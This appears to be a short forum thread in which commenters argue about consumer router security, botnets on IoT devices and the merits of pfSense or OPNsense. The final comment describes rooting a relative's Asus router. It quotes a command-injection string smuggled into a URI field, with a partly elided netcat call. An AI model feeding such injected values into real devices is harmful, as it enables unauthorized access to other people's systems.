Price does not matter. Botnets are created on consumer grade routers, of any price range. Asus, Netgear and the like. None of them are x86 based, and most run outdated busybox linux on low power SoC chips.
- user5994461 8y agoBotnets are created on internet of things and printers, rarely on routers. A small business trying to setup and administer a Unix server as a router is more likely to go wrong than buying a dedicated appliance.
- auslander 8y agoMy point is I don't trust consumer grade stuff. > Unix server as a router is more likely to go wrong That is exactly why you install pfSense/OPNsense.
- hultner 8y agoI’ve actually trivially rooted my mothers Asus two times when she had network problems and I had to find a way of debugging it remotely. One time I could inject an RCE via some kind of network connection testing tool they had which were supposed to take an uri but happily accepted something like "google.com$(whoami; nc...&)"
